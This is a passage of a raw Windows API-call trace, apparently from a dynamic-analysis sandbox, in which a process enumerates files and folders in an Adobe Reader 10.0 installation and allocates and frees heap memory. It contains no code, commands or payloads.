nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214c00 [0082.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a14d0 [0082.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.880] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.880] GetLastError () returned 0x12 [0082.880] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.880] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.880] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.880] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.880] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.881] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.881] GetLastError () returned 0x12 [0082.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a11b8) returned 1 [0082.881] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a12c0) returned 1 [0082.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a10b0) returned 1 [0082.881] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0082.881] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.CHT", cAlternateFileName="")) returned 1 [0082.881] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHT", cAlternateFileName="")) returned 1 [0082.881] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c62800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.CHT", cAlternateFileName="")) returned 0 [0082.881] GetLastError () returned 0x12 [0082.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.882] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.882] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0082.882] GetLastError () returned 0x12 [0082.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0082.882] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0082.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.exe", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9808, dwReserved0=0x0, dwReserved1=0x0, cFileName="Onix32.dll", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFPrevHndlr.dll", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x724ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFSigQFormalRep.pdf", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18dd88, dwReserved0=0x0, dwReserved1=0x0, cFileName="pe.dll", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="piaglbreakfinder.dll", cAlternateFileName="")) returned 1 [0082.883] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins", cAlternateFileName="")) returned 1 [0082.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0082.883] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0082.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0082.884] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0082.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12d0908 [0082.884] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12d0908, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12d0908, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0082.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d0908) returned 1 [0082.884] NtClose (Handle=0x178) returned 0x0 [0082.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0082.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0082.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0082.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0082.885] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0082.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="")) returned 1 [0082.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0082.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214c20 [0082.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a10b0 [0082.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm", cAlternateFileName="")) returned 1 [0082.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0082.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214c40 [0082.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a12c0 [0082.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e2b880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x217e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSign.prc", cAlternateFileName="")) returned 1 [0082.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214c60 [0082.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a11b8 [0082.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annotations", cAlternateFileName="")) returned 1 [0082.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5dbe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.api", cAlternateFileName="")) returned 1 [0082.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214c80 [0082.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a15d8 [0082.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.893] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.api", cAlternateFileName="")) returned 1 [0082.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214ca0 [0082.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a16e0 [0082.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.894] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15de63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.api", cAlternateFileName="")) returned 1 [0082.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214cc0 [0082.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a17e8 [0082.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.896] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.api", cAlternateFileName="")) returned 1 [0082.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214ce0 [0082.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a18f0 [0082.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.898] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 